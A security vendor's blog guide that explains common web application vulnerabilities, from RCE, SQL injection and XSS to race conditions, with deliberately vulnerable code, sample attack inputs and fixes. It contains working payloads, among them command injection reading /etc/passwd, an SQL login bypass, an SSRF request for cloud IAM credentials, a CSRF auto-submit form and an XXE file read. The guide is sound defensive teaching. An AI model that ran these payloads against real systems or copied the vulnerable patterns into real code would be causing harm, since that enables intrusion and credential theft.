October 7, 2025
A comprehensive guide to the most common web vulnerabilities that expose businesses to breaches, and how DeepStrike helps secure your applications from them.
Khaled Hassan
A web application vulnerability can cost your business more than just data. In 2024, the global average cost of a single data breach reached $4.88 million, a 10% rise from the year before. Beyond financial loss, breaches erode user trust and can damage a company’s reputation permanently.
Web applications are hackers’ favorite target, accounting for 80% of all cyber incidents and 60% of data breaches in 2023. Why? Because web apps often have exploitable weaknesses and store sensitive information like credentials, personal data, or payment details.
This guide covers the 20 most common web application vulnerabilities, from critical exploits such as Remote Code Execution (RCE) and SQL Injection to lower-severity risks like Information Disclosure. You’ll also learn how to fix and prevent each one effectively.
A web application vulnerability is a flaw in code, configuration, or design that allows attackers to compromise security. These weaknesses can be exploited to:
Even the most modern web frameworks can harbor hidden flaws if not rigorously tested. Continuous penetration testing is essential to identify and patch them before attackers do.
Neglecting web vulnerabilities increases the likelihood of a data breach, regulatory fines, and loss of customer confidence.
Notable examples include:
These incidents prove that even enterprise-scale organizations are not immune to exploitation. Security must be continuous, not a one-time event.
Below are the most widespread vulnerabilities ranked by severity, complete with code examples, impacts, and prevention strategies.
Detailed Description:
Remote Code Execution (RCE) vulnerabilities are among the most severe threats to web applications, allowing an attacker to execute arbitrary code on the target server. This means an attacker can gain complete control over the application, access sensitive data, modify system configurations, and even use the compromised server as a launchpad for further attacks within the network. RCE can stem from various flaws, including insecure deserialization, improper input validation, vulnerabilities in third-party libraries, or misconfigurations that allow direct execution of user-supplied commands. The impact of RCE is far-reaching, often leading to full system compromise. Attackers can upload web shells, establish persistent backdoors, extract all data, or pivot to other systems. The methods to achieve RCE are diverse. For instance, if an application directly uses user input in a system command without proper sanitization, an attacker can inject malicious commands. Similarly, if an application allows uploading of files and doesn't properly validate file types or content, a malicious script (e.g., a PHP or JSP web shell) could be uploaded and then executed. Another common avenue is through vulnerabilities in interpreters or engines used by the application, such as command injection within exec() functions in PHP, subprocess.run()
in Python, or various methods in Node.js. Furthermore, deserialization vulnerabilities, where an application reconstructs objects from untrusted data, can often be leveraged for RCE if the deserialization process allows for arbitrary object instantiation or method invocation. The complexity lies in identifying all possible execution sinks and ensuring that all user-supplied data, regardless of its origin (URL parameters, POST body, headers, uploaded files), is rigorously validated and sanitized before being processed in any context that could lead to code execution. The sheer power an attacker gains from successful RCE makes it a top-priority vulnerability for any development and security team.
Example Code Snippet:
Consider a PHP application that uses the exec() function
to perform a file operation based on user input, without proper sanitization.
// Vulnerable PHP code snippet
<?php
$filename = $_GET['filename'];
// Directly executing a system command with unsanitized user input
exec("ls -l " . $filename);
?>
// Attacker's URL: http://example.com/view.php?filename=;cat%20/etc/passwd
// The attacker injects a semicolon to chain commands, executing 'cat /etc/passwd'
Business and Technical Impact:
Business Impact: Complete data breach (customer data, intellectual property, financial records), reputational damage, significant financial loss due to incident response, legal fees, regulatory fines, service downtime, and potential stock price drop.
Technical Impact: Full compromise of the web server, ability to execute arbitrary commands, install malware, create backdoors, pivot to internal networks, exfiltrate data, and disrupt all services hosted on the server.
Fix & Prevention Best Practices:
Strict Input Validation and Sanitization: Implement rigorous input validation on all user-supplied data, employing whitelisting for expected values and sanitizing inputs to remove or neutralize any potentially malicious characters or commands. Never trust user input.
Avoid Direct Execution of System Commands: Wherever possible, avoid directly calling shell commands with user-supplied input. If absolutely necessary, use parameterized APIs or library functions that are designed to safely handle external input without introducing command injection flaws.
Principle of Least Privilege & Sandboxing: Run web applications with the absolute minimum necessary privileges. Implement sandboxing or containerization to isolate the application environment, limiting the damage an attacker can inflict even if RCE is achieved.
Detailed Description:
SQL Injection (SQLi) is a classic but persistently dangerous web application vulnerability that allows an attacker to interfere with the queries an application makes to its database. By injecting malicious SQL code into input fields, an attacker can trick the database into executing unintended commands, leading to unauthorized access to data, modification of data, or even complete database compromise. This vulnerability arises when an application constructs SQL queries using unsanitized user-supplied input. The malicious input modifies the query's logic, causing it to perform actions beyond what the developer intended. Beyond traditional relational databases, similar injection techniques apply to NoSQL databases, often referred to as NoSQL Injection. While the syntax differs, the underlying principle is the same: injecting malicious data to manipulate the database's query logic. For example, in MongoDB, an attacker might inject operators like $where or regular expressions into query parameters to bypass authentication or extract data. Blind SQLi is a variant where the attacker doesn't receive direct error messages or results, but can infer information by observing the application's behavior (e.g., response times, true/false conditions). The sheer volume of sensitive data typically stored in databases – from user credentials and financial information to proprietary business logic – makes SQLi an extremely high-impact vulnerability. A successful SQLi attack can lead to full data exfiltration, database defacement, privilege escalation, and even remote code execution in some database configurations. Developers must assume all user input is malicious until proven otherwise and implement robust defenses at the data access layer.
Example Code Snippet:
Consider a vulnerable PHP script that constructs an SQL query directly from user input without escaping it.
// Vulnerable PHP code snippet for SQL Injection
<?php
$username = $_POST['username'];
$password = $_POST['password'];
// Insecure query: directly concatenating user input
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Invalid credentials.";
}
?>
// Attacker's username input: ' OR '1'='1 --
// The resulting query becomes:
// SELECT * FROM users WHERE username = '' OR '1'='1 -- ' AND password = 'hashedpassword'
// The '--' comments out the rest of the query, allowing the attacker to bypass authentication.
Business and Technical Impact:
Business Impact: Data breaches (PII, financial data, intellectual property), reputational damage, regulatory fines, legal liabilities, loss of customer trust, financial losses from fraud or operational disruption.
Technical Impact: Unauthorized access to and manipulation of the entire database, bypassing authentication, privilege escalation, data exfiltration, data integrity compromise, and in some cases, remote code execution on the database server.
Fix & Prevention Best Practices:
Use Prepared Statements (Parameterized Queries): This is the most effective defense. Instead of concatenating user input directly into the query string, use prepared statements where the database differentiates between the SQL code and the user-supplied data.
Input Validation and Escaping: While not a primary defense, always validate and sanitize user input. For any input that must be used in a SQL query and cannot be parameterized (e.g., column names), use context-specific escaping functions provided by your database driver.
Principle of Least Privilege for Database Users: Grant database users only the absolute minimum permissions required for the application to function. Avoid using a 'root' or highly privileged user for application connections.
Detailed Description:
Cross-Site Scripting (XSS) vulnerabilities allow attackers to inject client-side scripts (typically JavaScript) into web pages viewed by other users. When an unsuspecting user loads the compromised page, their browser executes the malicious script. XSS attacks can lead to session hijacking, defacement of websites, redirection to malicious sites, and the theft of sensitive information (e.g., cookies, session tokens). XSS is broadly categorized into three types:
Stored XSS (Persistent XSS): This is the most dangerous form. The malicious script is permanently stored on the target server (e.g., in a database, forum post, comment section). When a user requests the page containing the stored script, the server retrieves it and sends it to the user's browser, where it executes.
Reflected XSS (Non-Persistent XSS): The malicious script is "reflected" off the web server, typically in an error message or search result, and is not permanently stored. The attacker must trick a user into clicking a specially crafted URL containing the malicious script. The victim's browser then executes the script because it originated from a trusted domain.
DOM-Based XSS: This occurs entirely on the client-side, within the browser's Document Object Model (DOM). The vulnerability exists when the client-side script reads data from a user-controllable part of the DOM (e.g., URL fragment or query string) and then writes that data back into the DOM without proper sanitization. The server never sees the malicious payload.
Blind XSS: This is a stored XSS variant where the attacker injects a payload, but doesn't directly see the execution. Instead, the payload triggers when an administrative user (or another backend system) views the affected data, and the attacker receives an out-of-band notification or callback. This is common in internal applications, logging systems, or helpdesk portals.
The pervasive nature of XSS stems from the common practice of rendering user-supplied content in web pages without adequate sanitization. Modern web frameworks offer some built-in protections, but developers must remain vigilant, especially when handling dynamic content or integrating third-party components.
Example Code Snippet:
A vulnerable search page displaying user input without encoding.
<!-- Vulnerable HTML/PHP for Reflected XSS -->
<p>You searched for: <?php echo $_GET['search_query']; ?></p>
<!-- Attacker's URL: http://example.com/search?search_query=<script>alert('XSSed!')</script> -->
<!-- When a user visits this URL, an alert box will pop up. A more sophisticated attack could steal cookies. -->
<!-- Vulnerable JavaScript for DOM-Based XSS -->
<script>
// This script takes a value from the URL's fragment and writes it directly to the page.
// Example URL: http://example.com/dom_xss.html#<img%20src=x%20onerror=alert(document.domain)>
document.write("<h1>" + decodeURIComponent(window.location.hash.substring(1)) + "</h1>");
</script>
Business and Technical Impact:
Business Impact: Session hijacking (leading to account takeovers), defacement of websites, phishing attacks, unauthorized data disclosure (e.g., sensitive cookies), loss of user trust, reputational damage, and potential legal issues.
Technical Impact: Execution of arbitrary client-side scripts in the victim's browser, unauthorized access to user session cookies and local storage, ability to manipulate the web page content, redirection to malicious websites, and potentially cross-site request forgery attacks.
Fix & Prevention Best Practices:
Output Encoding: Always encode user-supplied data before rendering it in HTML. Use context-specific encoding (e.g., HTML entity encoding for HTML content, JavaScript escaping for JavaScript contexts). Many modern templating engines do this by default, but be aware of situations where auto-escaping might be disabled or overridden.
Strict Input Validation: While encoding is crucial for output, input validation helps reduce the attack surface. Filter out or sanitize potentially malicious characters and patterns from user inputs, especially for fields like comments or forum posts.
Content Security Policy (CSP): Implement a robust Content Security Policy (CSP) header. CSP restricts which sources (domains) the browser is allowed to load scripts, styles, and other resources from, significantly mitigating the impact of XSS attacks by preventing the execution of inline scripts and scripts from untrusted domains.
Detailed Description:
Insecure Direct Object References (IDOR) occur when an application exposes a direct reference to an internal implementation object, such as a file, directory, or database key, and accepts user-supplied input to access that object without sufficient authorization checks. This allows attackers to bypass authorization and directly access resources that they are not permitted to view or manipulate. The vulnerability is prevalent when identifiers are predictable or sequentially enumerated. For example, if a URL uses ?id=123 to retrieve an invoice, and an attacker can change 123 to 124 to view someone else's invoice, that's an IDOR.
IDOR vulnerabilities are not limited to numerical IDs in URLs. They can manifest in various forms:
Other Tenants' Data: An application might allow users to retrieve their own data (e.g., /api/users/123/profile). An attacker could manipulate 123 to 124 to access another user's profile, even if they are from a different organizational tenant.
Same Tenant Privilege Escalation: Within the same tenant or organization, an attacker might be able to access data or functions of other users with different roles. For instance, a regular user might access an admin-only report by guessing its ID in a request.
API Misconfigurations: Modern APIs are particularly susceptible. If an API endpoint for updating a user profile takes a user ID as a parameter in the request body or URL, and the server doesn't verify that the authenticated user is authorized to modify that specific user ID, an attacker can modify any user's profile.
The core issue is a lack of granular, per-resource authorization checks. The application trusts the user-supplied identifier without verifying if the current authenticated user has the necessary permissions to access that specific resource. This can lead to massive data breaches, unauthorized data manipulation, and complete account takeovers.
Example Code Snippet:
A PHP script fetching user details based on a user ID from the URL, without verifying if the logged-in user owns that ID.
// Vulnerable PHP code snippet for IDOR
<?php
session_start();
// Assume user is logged in and their ID is $_SESSION['user_id']
// For demonstration, let's say logged-in user is '5'
$requested_user_id = $_GET['user_id'];
// Simulating database fetch - NO AUTHORIZATION CHECK HERE
// This is the vulnerability: Any logged-in user can request any user_id
// A proper check would be: if ($requested_user_id != $_SESSION['user_id'] && !$_SESSION['is_admin']) { ... }
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$requested_user_id]);
$user_data = $stmt->fetch();
if ($user_data) {
echo "<h1>User Profile for " . htmlspecialchars($user_data['username']) . "</h1>";
echo "<p>Email: " . htmlspecialchars($user_data['email']) . "</p>";
// ... display other sensitive data
} else {
echo "User not found or access denied.";
}
?>
// Attacker, logged in as user ID 5, requests: http://example.com/profile.php?user_id=6
// If no authorization check, the attacker sees user ID 6's profile.
Business and Technical Impact:
Business Impact: Massive data breaches (exposure of sensitive user data, PII, financial information), account takeovers, unauthorized data modification or deletion, reputational damage, regulatory fines, and legal liabilities.
Technical Impact: Bypassing authorization controls, accessing or manipulating resources belonging to other users or tenants, horizontal and vertical privilege escalation, and potential compromise of system integrity.
Fix & Prevention Best Practices:
Implement Robust Authorization Checks: For every request that accesses a resource identified by a parameter, ensure that the current authenticated user is explicitly authorized to access that specific instance of the resource. Do not rely solely on authentication; always add an authorization layer.
Use Indirect References: Instead of exposing direct database IDs or file names, use per-user or per-session indirect references (e.g., a hash, UUID, or a mapped index). This makes it harder for attackers to guess or enumerate valid resource identifiers.
Global Authorization Framework: Develop or integrate a centralized authorization framework that applies consistently across all sensitive endpoints. This ensures that every API call and web request goes through a rigorous authorization check before accessing any internal object.
Detailed Description:
Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. This means the attacker can force the application to send requests to internal systems (e.g., internal APIs, databases, or cloud metadata services) or external services, potentially exposing sensitive data or performing unauthorized actions. SSRF occurs when an application fetches a remote resource without validating the user-supplied URL. Instead of just fetching a legitimate external resource, the attacker can supply a URL pointing to an internal system (e.g., http://localhost/admin or http://169.254.169.254/latest/meta-data/ for AWS metadata) or even a local file system (e.g., file:///etc/passwd).
The danger of SSRF lies in its ability to bypass network firewalls and other perimeter defenses. Since the request originates from the trusted web server, internal systems often allow it to pass uninspected. This can lead to:
Accessing Internal Network Services: Port scanning internal networks, discovering vulnerable services, and exploiting them.
Accessing Cloud Metadata Services: Cloud providers (AWS, GCP, Azure) expose sensitive instance metadata (IAM roles, API keys, private IPs) via a local endpoint (e.g., http://169.254.169.254/). SSRF can be used to extract these credentials.
Reading Local Files: Using file:// schema or other local protocols to read arbitrary files on the server (e.g., configuration files, source code, passwd files).
Triggering External Attacks: Using the server as a proxy to launch attacks against other external systems, masking the attacker's origin.
Bypassing Firewalls/NAT: Accessing services behind firewalls that are only accessible from the internal network.
SSRF vulnerabilities are often found in features that interact with external URLs, such as image rendering from external sources, PDF generation, webhooks, or RSS feed readers. The challenge in prevention is meticulously validating and sanitizing URLs and hostnames, ensuring that requests are only made to explicitly whitelisted, legitimate external domains and never to internal or loopback addresses.
Example Code Snippet:
A PHP script that fetches an image from a URL provided by the user, without validating the URL's host.
// Vulnerable PHP code snippet for SSRF
<?php
$image_url = $_GET['image'];
// Insecure: Directly fetching content from a user-supplied URL
// An attacker could provide 'http://localhost/admin' or 'file:///etc/passwd'
$image_content = file_get_contents($image_url);
if ($image_content) {
header('Content-Type: image/jpeg'); // Or whatever the actual image type is
echo $image_content;
} else {
echo "Error fetching image.";
}
?>
// Attacker's URL: http://example.com/render_image.php?image=http://169.254.169.254/latest/meta-data/iam/security-credentials/
// The web server would fetch the AWS IAM credentials from its internal metadata service.
Business and Technical Impact:
Business Impact: Data breaches (cloud credentials, internal sensitive data), unauthorized access to internal systems, lateral movement within the company network, potential for complete system compromise, and significant financial and reputational damage.
Technical Impact: Port scanning of internal networks, access to cloud metadata services (e.g., AWS IAM roles), reading local files, bypassing network firewalls, and using the server as a proxy for further attacks.
Fix & Prevention Best Practices:
Strict URL Validation and Whitelisting: Implement a strict whitelist of allowed domains or IP addresses that the application is permitted to make requests to. Reject any URL that does not match an entry in the whitelist. Parse the URL completely and check its scheme, hostname, and port.
Disable Redirections: Ensure that the HTTP client used for making server-side requests does not follow redirects automatically, as an attacker could redirect a legitimate external URL to an internal one.
Network Segmentation and Least Privilege: Deploy strong network segmentation to isolate the web application server from sensitive internal systems. Even if an SSRF occurs, limit the server's network access to only what is absolutely necessary, preventing it from reaching critical internal services or cloud metadata APIs.
Detailed Description:
Cross-Site Request Forgery (CSRF), also known as "Sea-surf" or XSRF, is an attack that forces an end-user to execute unwanted actions on a web application in which they are currently authenticated. With a little help from social engineering (like sending a malicious link via email or chat), an attacker can trick victims into performing actions like changing their password, transferring funds, or making purchases without their knowledge. The key characteristic of CSRF is that it exploits the trust a web application has in a user's browser. Since the browser automatically sends session cookies, authentication credentials, and other user-specific data with every request to a site, the malicious request appears legitimate to the web application.
Victim logs into a legitimate website (Site A). The website issues a session cookie to the victim's browser.
Victim visits a malicious website (Site B) or clicks a malicious link. Site B contains a hidden form, an image tag, or a JavaScript request that targets an action on Site A. For example, an image tag might have its src attribute set to http://siteA.com/transfer_funds?amount=1000&to=attacker
.
Victim's browser automatically sends the request to Site A. Because the victim is logged in to Site A, the browser includes the session cookie, making the request appear to come from an authenticated user.
Site A processes the request. Since it appears to be a legitimate request from an authenticated user, Site A executes the action (e.g., transfers funds to the attacker).
CSRF attacks typically target state-changing requests (e.g., changing email, password, making purchases) rather than data retrieval, as the attacker usually cannot see the response to the forged request. The effectiveness of CSRF relies on the browser's implicit trust in requests originating from authenticated sessions. Preventing CSRF requires a mechanism to ensure that state-changing requests originate from legitimate forms or user interactions within the application itself, and not from an external, malicious source.
Example Code Snippet:
A form that allows a user to change their email, vulnerable to CSRF.
<!-- Vulnerable HTML form for changing email -->
<!-- This form simply submits to /change_email without any CSRF token -->
<form action="/change_email" method="POST">
<label for="new_email">New Email:</label>
<input type="email" id="new_email" name="new_email" value="[email protected]">
<button type="submit">Change Email</button>
</form>
<!-- Attacker's malicious page (e.g., image tag or hidden form) -->
<html>
<body>
<img src="http://legitimate-site.com/[email protected]" style="display:none;">
<!-- Or a hidden form that auto-submits via JavaScript -->
<form action="http://legitimate-site.com/change_email" method="POST" id="csrf_form" style="display:none;">
<input type="hidden" name="new_email" value="[email protected]" />
</form>
<script>document.getElementById('csrf_form').submit();</script>
<p>Click here for a free gift!</p>
</body>
</html>
<!-- If a victim logged into 'legitimate-site.com' visits the attacker's page, their email will be changed. -->
Business and Technical Impact:
Business Impact: Unauthorized actions performed on behalf of the user (e.g., money transfer, password change, purchase), account compromise, data manipulation, reputational damage, and financial losses for both the user and the company.
Technical Impact: Exploitation of authenticated user sessions to force unintended actions, bypassing traditional authentication mechanisms, and integrity compromise of user accounts.
Fix & Prevention Best Practices:
Implement Anti-CSRF Tokens: The most common and effective defense. Generate unique, cryptographically strong, and unpredictable tokens for each state-changing request. These tokens should be included as a hidden field in forms or as a header in AJAX requests and validated on the server side.
Use SameSite Cookie Attribute: Set the SameSite attribute for cookies (e.g., SameSite=Lax or SameSite=Strict). This attribute prevents browsers from sending cookies with cross-site requests, effectively mitigating many CSRF attacks. Strict is generally more secure but can impact user experience in some legitimate cross-site scenarios.
Strict Referer Header Validation: For critical state-changing actions, validate the Referer header to ensure the request originated from a legitimate page within your application. While not foolproof (as Referer can be suppressed or spoofed in some cases), it adds an additional layer of defense.
Detailed Description:
XML External Entity (XXE) is a vulnerability that occurs when an XML parser processes XML input containing references to external entities, and these entities are not properly configured to prevent external entity expansion. XML external entities are a feature of XML designed to allow an XML document to include content from other files or URLs. When an application accepts XML input and uses a vulnerable XML parser, an attacker can define malicious external entities within the XML, forcing the parser to fetch content from local files on the server (e.g., /etc/passwd), internal network resources, or even exfiltrate data to an attacker-controlled server.
XXE vulnerabilities can manifest in several ways:
Local File Disclosure: Using file:/// URIs to read sensitive local files on the server.
Internal Network Scanning: Using http:// or ftp:// URIs to make requests to internal network hosts and ports, similar to SSRF.
Remote Code Execution: In some cases, if the XML parser and the underlying system environment are configured to allow it, XXE can lead to RCE through protocols like PHP's expect or Java's jar protocols.
Denial of Service (DoS): Using "billion laughs" or "XML bomb" attacks, where nested entities cause exponential expansion, consuming server resources and leading to a crash.
Data Exfiltration: Out-of-band XXE attacks can be used to send sensitive data from the server to an attacker-controlled external server.
The core problem lies in the default configurations of many XML parsers that enable support for external entities, which is often not required for typical application functionality. Developers must explicitly disable this feature or ensure that all XML parsing is done in a secure, non-resolving mode. This vulnerability is particularly relevant in web applications that process XML documents, such as SOAP-based web services, XML-based data exchanges, or any feature that accepts XML as input.
Example Code Snippet:
A Java application using a vulnerable XML parser to process user-supplied XML.
// Vulnerable Java code snippet for XXE
import java.io.StringReader;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
public class XXEVulnerable {
public static void main(String[] args) throws Exception {
String xmlInput = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]>" +
"<user><name>&xxe;</name><email>[email protected]</email></user>";
// Default DocumentBuilderFactory is often vulnerable
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// The default settings allow external entities to be resolved.
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new StringReader(xmlInput));
System.out.println("Username: " + doc.getElementsByTagName("name").item(0).getTextContent());
// If vulnerable, this will print the content of /etc/passwd
}
}
Business and Technical Impact:
Business Impact: Disclosure of sensitive server files (credentials, configuration), internal network reconnaissance, data exfiltration, denial of service for the application, and potential for full system compromise.
Technical Impact: Unauthorized access to local file systems, internal network services, cloud metadata services, potential remote code execution, and application unavailability.
Fix & Prevention Best Practices:
Disable External Entities: The most crucial step is to explicitly disable support for DTDs (Document Type Definitions) and external entities in your XML parser configurations. Most modern XML parsers provide methods or properties to achieve this (e.g.,
setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) in Java, or LXML.DTD_LOAD for Python).
Input Validation and Sanitization: Although disabling entities is primary, robustly validate and sanitize any XML input to ensure it adheres to an expected structure and does not contain unexpected elements or attributes that could be leveraged for other XML-related attacks.
Use Safer Alternatives: If XML is not strictly necessary, consider using less complex and more secure data formats like JSON, which inherently do not have the same external entity features that make XML parsers vulnerable to XXE.
Detailed Description:
API Mass Assignment, also known as "Mass Assignment," "Over-Posting," or "Insecure Direct Object Property Update," is a vulnerability where an application automatically binds user-supplied input (e.g., from a JSON body or form parameters) to internal object properties without proper filtering or validation. This allows an attacker to modify properties that they shouldn't have access to, such as isAdmin, isApproved, userRole, or even internal database IDs. This often happens in APIs when a single endpoint handles updates for an entire object, and the framework automatically maps request parameters to object attributes.
For example, consider an API endpoint for updating a user's profile. A legitimate user might send:
{ "name": "John Doe", "email": "[email protected]" }
If the application uses mass assignment and doesn't filter out unauthorized fields, an attacker could send:
{ "name": "Evil Hacker", "email": "[email protected]", "isAdmin": true }
If the isAdmin property exists in the user object and the framework binds it automatically, the attacker could elevate their privileges to an administrator. This is particularly dangerous because these "unintended" properties are often not visible in the user interface or API documentation but exist in the underlying data model. The vulnerability stems from a lack of explicit whitelisting for permitted input fields or insufficient server-side validation to ensure that only authorized attributes are updated. This can lead to:
Privilege Escalation: As shown with isAdmin or userRole.
Data Manipulation: Modifying sensitive internal flags or statuses (e.g., account_status: 'approved', balance: 1000000).
Bypassing Business Logic: Changing an isPaid flag or transaction_complete status.
Exposure of Sensitive Fields: Even if not directly exploitable for privilege escalation, an attacker might be able to discover the existence of internal fields by attempting to set them and observing errors or changes in subsequent requests.
This vulnerability highlights the importance of precise control over data binding and ensuring that the server-side application logic strictly enforces what attributes can be modified by a given user or role.
Example Code Snippet:
A Node.js application using an ORM (Object-Relational Mapper) framework that directly updates a user object from the request body.
// Vulnerable Node.js (Express with Mongoose ORM) code snippet for Mass Assignment
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const User = require('./models/User'); // Assuming a Mongoose User model
app.use(bodyParser.json());
// This endpoint allows authenticated users to update their profile
// Vulnerable: Directly assigns request.body to user object, including unintended properties
app.put('/api/user/:id', async (req, res) => {
const userId = req.params.id;
// Assume authentication middleware sets req.user.id
if (userId !== req.user.id && !req.user.isAdmin) {
return res.status(403).send('Unauthorized');
}
try {
const user = await User.findById(userId);
if (!user) {
return res.status(404).send('User not found');
}
// VULNERABLE LINE: Directly assigning req.body to user object
// An attacker can send {"isAdmin": true} in the request body
Object.assign(user, req.body);
await user.save();
res.status(200).send('Profile updated successfully');
} catch (error) { res.status(500).send('Server error');
}
});
// Example Attacker's request (assuming they are authenticated as a regular user with ID 123):
// PUT /api/user/123
// {
// "name": "Evil Hacker",
// "email": "[email protected]",
// "isAdmin": true
// }
// If 'isAdmin' is a property on the User model, the attacker's account could be promoted to admin.
Business and Technical Impact:
Business Impact: Unauthorized privilege escalation (e.g., normal user becoming an administrator), manipulation of critical business data (e.g., changing prices, order statuses, account balances), bypassing of business logic, and potential financial fraud or data breaches.
Technical Impact: Unauthorized modification of sensitive database fields, circumvention of access controls, and compromise of application integrity, leading to an unstable and untrustworthy system state.
Fix & Prevention Best Practices:
Whitelisting Attributes: Explicitly define and whitelist the properties that are allowed to be updated through user input. Never automatically bind all incoming request parameters to an object. Use a DTO (Data Transfer Object) or specific update methods that only accept permitted fields.
Server-Side Validation: Implement robust server-side validation to ensure that all user-supplied data conforms to expected types, formats, and business rules. Crucially, validate that the authenticated user has the authority to modify the specific attributes they are attempting to change.
Separate API Models/Payloads: Create distinct input models or DTOs for different API operations. For example, have a UserCreateRequest and a UserUpdateRequest that only expose the fields truly intended for user modification, rather than using the full internal User object for all operations.
Detailed Description:
Insecure logging occurs when applications log sensitive data (such as passwords, credit card numbers, PII, session IDs) without proper redaction or encryption. This can inadvertently expose critical information to anyone who has access to the logs, including system administrators, monitoring tools, or attackers who manage to compromise the logging system or the server itself. Beyond sensitive data exposure, logging vulnerabilities also encompass Log Injection (or Log Forging), where an attacker can inject malicious data into log entries. By supplying specially crafted input, an attacker can manipulate log files, making it difficult to trace their actions, obfuscate real events, or even trigger alerts that are based on specific log patterns.
The risks associated with insecure logging are substantial:
Sensitive Data Leakage: Unencrypted logs containing passwords, API keys, session tokens, or PII (Personally Identifiable Information like names, addresses, emails, national IDs) become a goldmine for attackers. Even temporary logs can be critical if an attacker gains access before they are rotated or deleted.
Compliance Violations: Logging sensitive data in plain text can lead to severe penalties under regulations like GDPR, HIPAA, or PCI DSS.
Forensic Evasion and Cover-up: Log injection allows attackers to:
Obscure their tracks: By injecting false entries or overwriting legitimate ones, they can make it harder for security teams to detect their presence or understand the scope of an attack.
Trigger false positives: Injecting patterns that mimic legitimate alerts can create noise, diverting attention from actual threats.
Denial of Service: If logging systems are not robust, an attacker might be able to inject extremely long strings or a flood of log entries, causing storage exhaustion or performance degradation.
Log Poisoning: In some rare cases, if logs are directly rendered in a web application without proper sanitization (e.g., in an admin panel), log injection could potentially lead to XSS or other injection attacks if the log viewing interface is also vulnerable.
The solution requires a careful balance: logs are essential for monitoring, auditing, and incident response, but they must be handled with the same security rigor as any other sensitive data.
Example Code Snippet:
A Java servlet logging sensitive user information directly from a request.
// Vulnerable Java Servlet snippet for Insecure Logging
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.logging.Logger;
public class LoginServlet extends HttpServlet {
private static final Logger LOGGER = Logger.getLogger(LoginServlet.class.getName());
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String username = request.getParameter("username");
String password = request.getParameter("password"); // <-- Sensitive!
// Vulnerable: Logging username and raw password directly
LOGGER.info("Login attempt for user: " + username + ", Password: " + password);
// This log entry, if written to disk, contains the clear-text password.
// Simulating authentication logic
if ("testuser".equals(username) && "securepassword".equals(password)) {
LOGGER.info("Login successful for " + username);
response.sendRedirect("welcome.jsp");
} else {
// Vulnerable: Logging user-supplied, potentially malicious, input directly
LOGGER.warning("Failed login attempt for user: " + username + ". From IP: " + request.getRemoteAddr());
// Attacker's username input: "admin%0AINFO%3A%20Malicious%20activity%20detected%20by%20attacker"
// The newline character (%0A) could inject a new log line, making it look like a new, legitimate entry.
response.getWriter().println("Invalid credentials.");
}
}
}
Business and Technical Impact:
Business Impact: Severe data breaches (exposure of PII, credentials), regulatory fines (GDPR, HIPAA, PCI DSS), reputational damage, legal liabilities, difficulty in forensic analysis during security incidents, and potential for internal fraud.
Technical Impact: Unauthorized access to sensitive data (passwords, tokens, API keys), ability to manipulate audit trails, obfuscate malicious activities, trigger false alerts, and potentially contribute to denial of service if logs grow uncontrollably.
Fix & Prevention Best Practices:
Redact Sensitive Data: Implement mechanisms to automatically redact or mask sensitive information (passwords, credit card numbers, PII) before it is written to logs. Use regular expressions or specific data protection libraries. Never log passwords in plain text.
Sanitize Log Inputs: Sanitize all user-supplied input before incorporating it into log messages. Remove or escape newline characters (\n, \r) and other control characters to prevent log injection/forging. Contextual escaping is important to prevent an attacker from breaking out of a log line and injecting false entries.
Secure Log Storage & Access: Store log files in a secure, centralized logging system with restricted access. Encrypt logs at rest and in transit. Implement strict access controls (least privilege) for anyone viewing or managing log data, and establish strong audit trails for log access itself.
Detailed Description:
A race condition occurs when the correct operation of a program depends on the sequence or timing of uncontrollable events. In the context of web applications, it typically involves multiple requests trying to access and modify the same resource or data concurrently. If the application logic doesn't properly handle these concurrent operations, it can lead to unexpected and often malicious outcomes, such as double-spending, unauthorized privilege escalation, or bypassing limits.
The classic example involves a financial transaction. Suppose a user has $100 in their account and attempts to make two $60 purchases simultaneously. If the application logic follows this sequence:
100 > $60`), then processes the transaction, and then updates the balance. If both requests pass the balance check before either updates the balance, both transactions could be approved, leading to a negative balance and a loss for the business.
Race conditions are often subtle and difficult to detect during development and testing because they depend on specific timing scenarios that are hard to reproduce. They are more likely to occur in high-concurrency environments or when an attacker intentionally floods the application with simultaneous requests.
Common scenarios where race conditions can be exploited include:
Preventing race conditions requires careful synchronization mechanisms and ensuring that critical operations (read-modify-write) are atomic, meaning they are treated as a single, indivisible unit of work.
Example Code Snippet:
A pseudo-code example of a vulnerable fund transfer logic.
# Vulnerable Python pseudo-code for a fund transfer (demonstrating race condition)
# Imagine this function is called concurrently by two different requests for the same user.
def transfer_funds_vulnerable(user_id, amount_to_transfer, recipient_id):
# Step 1: Check balance (READ)
current_balance = database.get_balance(user_id) # Let's say $100
if current_balance >= amount_to_transfer: # Both requests might pass this check
# Delay to simulate network latency or other processing,
# increasing the chance of a race condition
time.sleep(0.1)
# Step 2: Debit sender's account (MODIFY)
database.update_balance(user_id, current_balance - amount_to_transfer)
# Step 3: Credit recipient's account (WRITE)
database.credit_account(recipient_id, amount_to_transfer)
return True
else:
return False
# Scenario:
# User has $100. Attacker makes two requests for transfer_funds_vulnerable(user_id, 60, recipient_id)
# 1. Request A: current_balance = $100. $100 >= $60 is True.
# 2. Request B: current_balance = $100. $100 >= $60 is True. (Both pass the check before balance is updated)
# 3. Request A: Updates balance to $40.
# 4. Request B: Updates balance to -$20.
# Result: User transferred $120 from $100, resulting in -$20.
Business and Technical Impact:
Business Impact: Financial losses due to double-spending, unauthorized free goods/services, bypassing of access controls, integrity issues with critical business data, and potential reputational damage.
